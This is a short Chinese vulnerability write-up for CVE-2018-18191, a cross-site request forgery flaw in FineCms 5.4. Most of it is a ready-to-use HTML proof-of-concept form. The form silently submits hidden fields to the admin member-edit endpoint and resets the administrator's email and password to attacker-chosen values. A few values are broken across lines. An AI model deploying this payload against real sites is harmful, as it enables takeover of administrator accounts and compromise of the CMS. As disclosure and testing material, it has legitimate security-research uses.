（CVE-2018-18191）Finecms 5.4 存在 CSRF 漏洞

一、漏洞简介

Dayrui FineCms 是中国天睿（Dayrui）程序设计团队发布的一套使用 MVC 架构和 PDO 数据库接口开发的内容管理系统（CMS）。 Dayrui FineCms 5.4 版本中的 /admin.php?c=member&m=edit&uid=1 存在跨站请求伪造漏洞。远程攻击者可利用该漏洞修改管理员账户密码。

二、漏洞影响

Finecms 5.4

三、复现过程

poc

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://www.0-sec.org/admin.php?c=member&m=edit&uid=1"
 method="POST">
      <input type="hidden" name="page" value="0" />
      <input type="hidden" name="member&#91;email&#93;" value="admin&#6
4;163&#46;com" />
      <input type="hidden" name="member&#91;name&#93;" value="admin" />
      <input type="hidden" name="member&#91;phone&#93;" value="18888888
888" />
      <input type="hidden" name="member&#91;password&#93;" value="88888
8" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```